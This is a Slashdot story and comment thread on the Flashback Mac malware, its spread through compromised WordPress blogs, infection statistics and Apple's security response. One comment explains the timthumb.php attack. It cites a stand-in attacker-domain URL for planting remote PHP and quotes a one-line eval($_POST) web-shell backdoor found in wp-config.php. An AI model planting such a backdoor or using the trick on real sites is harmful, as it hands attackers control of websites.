Mac Flashback Attack Began With Wordpress Blogs

With more on the Flashback malware plaguing many Macs, beaverdownunder writes with some explanation of how the infection grew so quickly: "Alexander Gostev, head of the global research and analysis team at Kaspersky, says that 'tens of thousands of sites powered by WordPress were compromised. How this happened is unclear. The main theories are that bloggers were using a vulnerable version of WordPress or they had installed the ToolsPack plug-in.'"

Comments

In the end, it's better that it happened

[skipkent]

At it's height it was never as bad as some of the windows viruses have been, but it plants the seed that macs aren't safe and are just as vulnerable as any other OS.

Re:In the end, it's better that it happened

[Anonymous Coward]

Where did you hear this? At the cooler in Redmond?

Re:In the end, it's better that it happened

[Sneeka2]

True. Anybody with half a brain knew this of course. It was merely time for the practical proof.
From here on Apple will have to proof itself in how well it does or doesn't respond to such incidents.
For its first trial by fire, it didn't receive very high marks so far.

Re:In the end, it's better that it happened

[mwvdlee]

As I understand it, Mac's installed base is roughly ~8%, windows about ~85% (obviously, accurate and unbiased statistics are pretty near impossible to find).
Flashback infected some ~600,000 macs, so a PC trojan would have to have hit ~ 6,375,000 PC's in order to be worse.
Conficker (http://en.wikipedia.org/wiki/Conficker) infected ~7 million PC's, which is somewhat worse, but not by a large margin.

Obviously Flashback had the benefit of fighting against a userbase largely ignorant of security and it's quite likely that if Apple and it's users start taking security seriously, future Mac infections will have significantly less impact. But history tells me things will become much worse before it gets better.

Re:In the end, it's better that it happened

[oldlurker]

Where did you hear this? At the cooler in Redmond?

From the numbers it doesn't seem like an unlikely claim actually (single virus compromising percentage of installed base), though a citation would be nice so it made me check (source for numbers below):

The Mach Flashback virus compromised around 600.000 Macs, which is around 1% of installed base.
The single largest Windows-based infection ever was Conficker. At its peak in 2009, it infected about 0.7% of the total Windows installed base.

Re:In the end, it's better that it happened

[V!NCENT]

It's not true. It climbed to 600.000 infections, according to Kaspersky (anti-virus developper) and dropped to 30.000.

Anyone cautious of privacy and security should know that the OS isn't targetted so much anymore, because aside from it being illegal and a more fragmented market now, you can legally spy on people with tracking the web. The web is where all the action happens (Banking, Facebook, etc.). Seriously; install Collusion for Chrome or Firefox, lurk an hour on the web and see what's tracking you. It's insane.

So the new security is in web browsers. And anyone who values their web security has a coockie, script, plugin and TCP/IP domain blocker. And if you had the plugin blocker (disableing the autorun), you wouldn't have this drive-by hack.

But ofcourse even OpenBSD had remote holes, which proves that (and anyone arguing otherwise is an idiot) any OS is hackeable.

What's so funny (actually sad) about this, is that Trusted Computing doesn't protect against this shit. So much for that argument. Even with Gatekeeper (Mac OS X tool for allowing users to decide if they do or do not want to be able to execute non-sealed binaries (DRM'd/ Appstore stuff).

Inb4 fantards.

Re:In the end, it's better that it happened

[BasilBrush]

Wiki says estimates of Conflicker infections were between 9 million and 15 million in Mar 2009. Installed base of PCs was about 1.1 billion then. Which would mean Conflicker had between 0.8% and 1.4% of PCs infected.

It's too close to call.

Re:In the end, it's better that it happened

[chrb]

At it's height it was never as bad as some of the windows viruses have been

Mac Malware Outbreak Is Bigger than 'Conficker'. Remember that OS X only has about 5% of global desktop market, 0.6 million desktops may not sound like much in comparison to Windows, but as a share of the Mac total it is significant: "Mac OS X is the number two desktop OS with 6.54 percent market share. Windows, on the other hand, accounts for 92.48 percent of the market. Based on market share, the Flashback Trojan botnet is equivalent to a Windows botnet of nearly 8.5 million PCs. That makes it an even larger threat than Conficker--just on a much smaller platform."

It's not true. It climbed to 600.000 infections, according to Kaspersky (anti-virus developper) and dropped to 30.000.

They got it wrong; Symantec and Kaspersky both said the number had fallen, but Symantec have admitted they were wrong, and Kaspersky are now "looking into the matter". Flashback botnet not shrinking, huge numbers of Macs still infected:

"We've been talking with them about the discrepancies in our numbers and theirs," said O Murchu in an interview Friday. "We now believe that their analysis is accurate, and that it explains the discrepancies."

"This server communicates with bots but doesn't close a TCP connection," wrote Dr. Web. "As [a] result, bots switch to the stand-by mode and wait for the server's reply and no longer respond to further commands. As a consequence, they do not communicate with other command centers, many of which have been registered by information security specialists [including Kaspersky and Symantec]. "This is the cause of controversial statistics," said Dr. Web.

Also see Antivirus Researchers Confirm: Flashback Still Infects More Than 500,000 Macs.

Re:In the end, it's better that it happened

[tao]

Now we just need a botnet for Hurd... 1 infected computer would be enough for, say... 100% of the user base :)

Re:In the end, it's better that it happened

[WrongSizeGlass]

I say make it worse next time! And, target all OS's!

The Java exploit used to spread Mac Flashback wasn't Mac specific, it just went unpatched for several months longer on OS X than on Windows. All the while almost all Mac users surfed the internet with a false sense of impunity.

I don't think any researchers have tried to figure out how many PC's were affected by the same Java exploit, but the impact this has had on the Mac user mindset - and Apple's security responses - should be rather sobering.

Re:In the end, it's better that it happened

[WrongSizeGlass]

But how does that help? I mean "seed", heck, we've been /terraformed/ with evidence that Win security is bad, yet the average Win user is still pretty clueless about it.

We Mac users pay a premium for our computers with the presumption that one of the benefits of a Mac is that security is stringent. Just make sure your updates are up-to-date, don't randomly install crap or casually click with a 'Hey, OK, if you really think you should install that' mentality.

This is like relying on the warning light on your dash that you're about to run out of gas. You never take it for granted that it will keep you from doing something stupid after the first time it fails you.

Re:In the end, it's better that it happened

[lipanitech]

This is the same thing that happened at pown to own. Any time you integrate the browser into the OS you are open up security vulnerabilities. Microsoft has had issues like this for years. Apple sacrificed security for useability.

Re:In the end, it's better that it happened

[AdrianKemp]

That's interesting... the comment my reply was added to was not the one I replied to and in fact didn't even exist when I clicked reply.

Re:In the end, it's better that it happened

[sribe]

...according to Kaspersky (anti-virus developper) and dropped to 30.000.

The drop to 30,000 has been discredited. The number is still, unfortunately, much higher.

Re:In the end, it's better that it happened

[quacking duck]

Let me see if I read this right...

Despite most Mac users not having antivirus installed, it still had roughly the same percentage of users infected as a platform where users DO have antivirus and anti-malware installed (or their users are very aware they're supposed to be running them), but the latter's supposed protections against malware were useless at detecting and/or preventing the Conficker outbreaks.

My takeaway is that Mac users therefore *still* would not benefit from installing and running antivirus software that sucks up resources all the time. The better defence is simply to do system updates weekly.

Ignorance

[dejanc]

The main problem here may be ignorance. I use OS X and I only heard about this malware here on Slashdot. I really don't recall reading about it anywhere else. I immediately installed a Java update when it was available because I heard the fix was propagated through it. I might have as well skipped it or postponed it as I often do when I am in a situation when I don't want to wait for the updates to install, e.g. when checking email in a hotel on a vacation or just turning on the laptop to quickly see something like weather forecast.

Most Mac users probably never even heard about Flashback.

Re:Ignorance

[TubeSteak]

The main problem here may be ignorance.

The main problem here may be WordPress.
It didn't have to be OSX malware, they could have targeted any operating system.

Re:Ignorance

[Anonymous Coward]

The main problem here may be WordPress.
It didn't have to be OSX malware, they could have targeted any operating system.

No, the main problem is arrogance and ignorance.

WordPress does have security bugs, but if that was it, then there'd be tens of thousands of compromised blogs and nothing else. Your computer shouldn't be compromised simply by going to an untrustworthy site. Period.

It could have targeted any operating system, but it didn't. It could have targeted Windows which are more numerous by an order of magnitude, but it didn't. The difference is clearly that:

• The bug was initially in Java, but Oracle patched it relatively quickly. But Apple, with their own custom version of Java, took too long. Many have argued that it's due to a lack of security awareness within Apple.
• A history of security vulnerabilities in Windows has led to a robust and mature ecosystem of antivirus/antimalware.
• Users are conditioned to be on the lookout for malware (again, due to Window's chequered history).

Mac OSX will continue to have zero-day malware attacks, especially as their marketshare grows. In turn, Apple will develop their security team once it becomes obvious the attacks will continue and Mac users will over time learn to be as wary as Windows users.

Re:Ignorance

[sapphire wyvern]

The malware still has to install on the user's OS, which requires browser/plugin exploits on the user's PC for user-privilege level access and possibly a local escalation bug if the malware wants admin rights without user "approval". So I think it's fair to cast _some_ aspersion at Apple here, even if WordPress is providing the server end of the malware deployment ecosystem.

But getting back to your point about WordPress. It seems to me that WordPress has been the server-side vector for far too many malware deployment efforts. I've certainly heard its name associated with a lot of previous malware storms. What are some more secure alternatives to WordPress?

Re:Ignorance

[makomk]

Now figure out what would happen if the malware was coded to infect WordPress blogs adminned from the computers it affected. OSX is the problem here, no question about it.

Re:Ignorance

[jaymemaurice]

It probably doesn't matter what you use if you do not plan on continually updating it or install every third party plugin... It's not like the WordPress comunity can't deliver a working blogging platform or patch the security flaws but it is the prevailing platform, open source, and nobody updates. Same problems the OS vendors have really.

Re:Walled Garden

[Sneeka2]

For this you'll need Apple to back pedal on some simplification they've made to make their OS more accessible to less technical people. (Like installing application simply by drag-droping an icon from an archive into a system folder. With no privilege asked).

Oh darn, I'll feed the troll...

OK, please elaborate how installing an application by simply copying the executable into a location where all executables are stored is insecure. Is there an exploit that has been facilitated by this that would have been impossible otherwise? /Applications is not a system folder BTW. The system is in /System, and /Library. /Applications is a location to install applications, nothing more, nothing less.

Re:Walled Garden

[BasilBrush]

For this you'll need Apple to back pedal on some simplification they've made to make their OS more accessible to less technical people. (Like installing application simply by drag-droping an icon from an archive into a system folder. With no privilege asked).

There's no simplification there. It's standard Unix permissions. The normal Application folder is shared between users for read and execute, but you need admin privileges to write there. So only admins can install there. A user can set up their own private Applications folder if they want and install applications there though.

Neither Applications folder is a system folder.

This ability to do drag and drop installs has precisely nothing to do with vulnerability to malware.

You'd do better to restrict predictions of the future to things you know something about.

Wordpress wasn't that vulnerable, timthumb was.

[Anonymous Coward]

"How this happened is unclear. The main theories are that bloggers were using a vulnerable version of WordPress or they had installed the ToolsPack plug-in."

This it not unclear at all. There were a few security problems with WP in the last year. But a LOT of themes use the timthumb.php module to do dynamic rescaling of images. Timthumb used to be extremely vulnerable, you could download a file from http://www.youtube.com.attacker-domainname/anything.php, install it in the timthumb's cache and have full access like forever.

Updating WP wouldn't do any good, as a fully updated WP installation can still run a vulnerable theme. Even when the flaws in timthumb were fixed and the theme is updated, these sites have been flooded with backdoors, varying from eval($_POST['a']) in wp-config.php to newly created admin users. (Admin users can edit .php files from /wp-admin, an admin user effectively has power to run any php code desired.)

I've manually removed and analysed infections from several customers wordpress websites, all were hit by timthumb exploits. Some of these websites had literally dozens of backdoors, each of which gave full access to the site. I've seen malware that hid from googlebot to avoid detection. I've seen infections with timers, and infections that kept an IRC connection open to accept commands. These infections were just waiting for the right moment to be abused.

Re:Wordpress wasn't that vulnerable, timthumb was.

[AndrewStephens]

Exactly right. I have noticed a huge upswing of probing behavior in my Wordpress site logs, all targeting timthumb in various common themes. Wordpress is easy to install (and easy to upgrade) but requires ongoing upkeep as vulnerabilities are found and patched. Too many people just install it and let it rot.

Not really a surprise

[Sycraft-fu]

Apple really wants to downplay the issue. This actually isn't the first Malware to hit Macs (one of our professors got one that was using text to speech to read out ads, it was hilarious) just the first one to be really bad. Apple is still addicted to selling the viewpoint that Macs are immune to that kind of shit. So they didn't go putting out any big press releases warning people of nasty shit.

Most of the time when there's a nasty problem, the vendors put out press releases to try and let people know that the patches this time around are more important than normal and yes, you really need to apply them Right Now. Apple didn't so reporting on it wasn't as widespread as you might expect.

Also there are a surprising number of Mac users who drink the "Macs can't get viruses," kool aid whole heartedly. They don't just believe the specifics of the Apple advertising, they really believe Macs are 100% immune to security issues. Drives me up the wall when I'm dealing with one of them and trying to explain that yes, you DO need to patch your OS even though it is a Mac and no, running an FTP with world write access is not ok just because it is a Mac (really, had some grad students pull that one).

Given the amount of Mac users in journalism, and the general techno-unawareness of journalists, that makes the problem worse. Someone sees a story about a "mac virus" and they say "Nah, can't be real, Mac's don't get viruses, just more stupid shit floating around the 'net."

As time goes on, and Macs continue to be targeted (which they will) or we see cross platform attacks (using Java or HTML5 or something) the awareness of security on Macs will slowly rise.

Re:Not really a surprise

[Vokkyt]

I would hope the general response by tech journalists to Mac Malware is an inquisitive one. It's certainly my reaction, since it is still a fairly unique occurrence.

Macs and Malware are an annoying thing to read about because you have to dig through so much Pro/Anti Apple uselessness to figure out even the most basic information about the malware, like "what's it doing?" or "how do I know I'm infected?". I think when I read this on /. initially, it wasn't until ~ the 200th comment that someone posted the F-secure update on the malware which was really informative. The original article was a very brief description of what the malware did and then a doomsday prophecy for OS X.

Obviously, this is anecdotal, but the concerns that the users I support have are less "Pfft, My mac is invulnerable" and more "Does this affect us?". There was so little actual data on the malware that most of my users just heard second-hand from the few vocal anti-Apple folk on our campus about how the OS X sky was falling.

Apple does have some growing to do with security, but I think that the security community and the tech community in general needs to grow up a little when reporting on OS X. I get it -- Apple's old marketing is coming back to bite them in the ass, and it's an embarrassment that makes for a phenomenal opportunity to make fun of Apple. But if you're a security firm breaking a story on malware, you should probably start with just the facts, and leave the jabs to an editorial. As it stands, pretty much any Mac malware has a script:
1. Declare something has been found
2. Provide the known number of infections, strongly suggest it's far greater (without any evidence thereof)
3. Declare this a sign of the end of OS X's innocence
4. Say how OS X has enjoyed a period of invulnerability due to marketshare, and that period is now gone as we expect to see more and more malware infections just like this one.
5. Repost the same story 9 months later when another mild infection occurs, update the story to use the new infection name.

6 million is a decent number of Macs, and it's really frustrating to know that they are being targeted now. So let's change the style of reporting to something actually useful instead of the same rehashed doomsday prophecies OS X has been getting for the last 4 years.

Msc People are awake now, this is a good thing!

[anthony_greer]

I have had non technical Mac users ask me about this, that means that they (or at least more of them than before) are open to advise about security and don't just smugly boast about Macs being invincible any longer. This makes everyone safer from my view.

BTW the advise I give Mac users who ask is as follows:
1: run apple menu->software update manually at least once a week, and download everything it suggests*
2: use a non admin account for daily activity and NEVER provide admin creds unless you know exactly what it is using them for, you should never need to do this while surfing the web.
3: Only get software from trusted sources, like the app store, SourceForge, or vendor web sites like Adobe or Autodesk.
4: Switch to a platform where java is controlled and updated by the first party, Oracle and not a third party, Apple to ensure you have the best security possible.

*Just as with windows or any other *NIX box, there is an exception to the all update thing, if you know that it will break your workflow or some component thereof, you can skip it while that is worked out.

Re:Msc People are awake now, this is a good thing!

[jrminter]

Your point about updates breaking critical workfows is something Windows users have struggled with for years. The problem is that it is typically difficult to find out until it is too late unless one spends a great deal of time following all the development mailing lists on all software in one's toolchain.

Re:Msc People are awake now, this is a good thing!

[kybred]

Apple stopped installing Java with Lion. But if you attempt to run a Java app you get a prompt asking if you want to install Java. I believe that is still the Apple Java implementation, with Apple still handling the updates.

In fall 2010, Apple announced that they were stopping their in-house Java development and was putting their support into OpenJDK. It looks like that is targeting Java SE 7, so I think that Apple must be continuing their Java development in house until that is released. So perhaps Apple is in the middle of the transition from in-house to OpenJDK; that could have caused the delay in the last Java update.

As a side note, Apple is not the only vendor to have their own Java. If you go to the Oracle Java download page it lists only Windows, Solaris and Linux versions. IBM and HP do their own. Looks like IBM spun their update quickly after Oracle, but HP took about a month for their update.

IS Wordpress fundementally broken?

[anthony_greer]

I am not a web dev but it seems to me that there are way too many stories that involve wordpress attacks in the past year, I have heard of at least 10 cases of wordpress being compromised, but in that same time not one case of Drupal, Sharepoint, Joomla, or Movable Type having the same issues assuming all were running the latest releases.

Is wordpress broken at it's core, or is it all just crummy plugins that open holes?

Re:IS Wordpress fundementally broken?

[ledow]

Joomla gets more than its fair share of serious compromises (usually XSS), but the difference that I found is:

1) It automatically updates.
2) You can sign up to an email about those updates and perform them manually
3) People don't install ten millions kinds of junk and plugin into it.

But, of course, what keeps it with a better reputation is a) not being stupid, b) fixing things that are broken and c) not as many people using it.

Wordpress would be fine - if you kept it up to date in the same way and didn't use random plugins. That's not what people do.

Re:Walled Garden

[jbolden]

If you are a power user you know how to edit the defaults and show these directories.